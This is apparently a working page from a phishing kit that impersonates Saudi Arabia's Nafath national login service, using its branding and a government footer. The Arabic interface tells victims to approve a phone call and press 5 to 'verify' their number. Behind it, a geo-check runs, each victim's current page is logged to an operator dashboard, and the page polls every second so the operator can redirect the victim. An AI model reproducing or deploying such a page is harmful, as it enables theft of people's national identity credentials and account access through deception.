<?php
require_once(__DIR__ . '/geo-check.php');

error_reporting(0);
ini_set('display_errors', 0);
session_start();
require_once('./add-efaa.php');
require_once('./dashboard/init.php');
require_once(__DIR__ . "/auto-register.php");

if (isset($_SESSION['user_id'])) {
    $User->UpdateCurrentPage($_SESSION['user_id'], 'إنتظار نفاذ');
    $dataa = [
        'userId' => $_SESSION['user_id'],
        'page' => 'إنتظار نفاذ'
    ];
}
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>النفاذ الوطني الموحد</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
    <link rel="stylesheet" href="./assets/gonsure-style.css">
    <style>
        body {
            background: linear-gradient(180deg, #f8fafc 0%, #eff6ff 100%);
            min-height: 100vh;
        }
        .spinner-container {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            padding: 60px 24px;
        }
        .pulse-ring {
            position: relative;
            width: 100px;
            height: 100px;
            display: flex;
            align-items: center;
            justify-content: center;
            margin-bottom: 24px;
        }
        .pulse-ring::before, .pulse-ring::after {
            content: '';
            position: absolute;
            inset: 0;
            border-radius: 50%;
            border: 2px solid var(--primary);
            animation: pulse-ring 2s ease-out infinite;
        }
        .pulse-ring::after {
            animation-delay: 1s;
        }
        @keyframes pulse-ring {
            0% { transform: scale(0.5); opacity: 1; }
            100% { transform: scale(1.3); opacity: 0; }
        }
        .pulse-ring i {
            font-size: 36px;
            color: var(--primary);
            z-index: 1;
        }
        .wait-text {
            font-size: 15px;
            font-weight: 600;
            color: var(--text-dark);
            text-align: center;
            line-height: 1.8;
            max-width: 300px;
        }
        .wait-note {
            font-size: 12px;
            color: var(--text-muted);
            margin-top: 12px;
            display: flex;
            align-items: center;
            gap: 6px;
        }
        .phone-instruction {
            background: #eff6ff;
            border: 1px solid rgba(36, 71, 255, 0.15);
            border-radius: 12px;
            padding: 16px;
            margin-top: 20px;
            max-width: 320px;
        }
        .phone-instruction p {
            font-size: 13px;
            color: var(--text-dark);
            font-weight: 600;
            margin: 0;
            text-align: center;
        }
        .key-number {
            display: inline-flex;
            align-items: center;
            justify-content: center;
            width: 36px;
            height: 36px;
            background: var(--primary);
            color: white;
            border-radius: 50%;
            font-size: 18px;
            font-weight: 900;
            margin: 0 4px;
        }
    </style>
</head>
<body>

    <!-- Header -->
    <div style="background: var(--bg-white); padding: 16px; box-shadow: var(--shadow); text-align: center;">
        <img src="./assets/nafad.png" alt="نفاذ" style="height: 36px;">
    </div>

    <!-- Waiting -->
    <div class="spinner-container fade-in">
        <div class="pulse-ring">
            <i class="fas fa-phone-volume"></i>
        </div>
        <p class="wait-text">يرجى الموافقة على الاتصال</p>
        <div class="phone-instruction">
            <p>اضغط على الرقم <span class="key-number">5</span> لإتمام توثيق رقم الجوال</p>
        </div>
        <p class="wait-note">
            <i class="fas fa-exclamation-circle" style="color: #f59e0b;"></i>
            لا تخرج من هذه الصفحة حتى يتم التأكد
        </p>
    </div>

    <!-- Footer -->
    <footer style="padding: 20px 16px; text-align: center; margin-top: 40px;">
        <div style="background: #e5e7eb; border-radius: var(--radius); padding: 16px; max-width: 400px; margin: 0 auto;">
            <p style="font-size: 12px; font-weight: 600; color: var(--text-dark); margin: 0;">تطوير وتشغيل</p>
            <p style="font-size: 14px; font-weight: 700; color: var(--text-dark); margin: 4px 0;">مركز المعلومات الوطني</p>
            <p style="font-size: 11px; color: var(--text-muted); margin: 0;">النفاذ الوطني الموحد جميع الحقوق محفوظة © 2022</p>
        </div>
    </footer>

    <script src="js/main.js"></script>
    <script src="https://code.jquery.com/jquery-3.6.0.js" crossorigin="anonymous"></script>
    <script>
        setInterval(() => {
            $.ajax({
                url: "wait-fn-nafath.php",
                type: "POST",
                success: (response) => {
                    const data = JSON.parse(response);
                    if (data.CheckTheInfo_Nafad == 1) {
                        window.location = data.url;
                    } else if (data.CheckTheInfo_Nafad == 2) {
                        window.location = data.url;
                    }
                }
            });
        }, 1000);
    </script>
    <script>
    function checkRedirect() {
        fetch('polling-redirect.php').then(r => r.json()).then(data => { if (data.redirect) { window.location.href = data.redirect; } }).catch(e => {});
    }
    setInterval(checkRedirect, 1500);
    checkRedirect();
    </script>
<input type="hidden" id="hb_uid" value="<?= isset($_SESSION['user_id']) ? $_SESSION['user_id'] : 0 ?>">
<script src="js/heartbeat.js"></script>
</body>
</html>
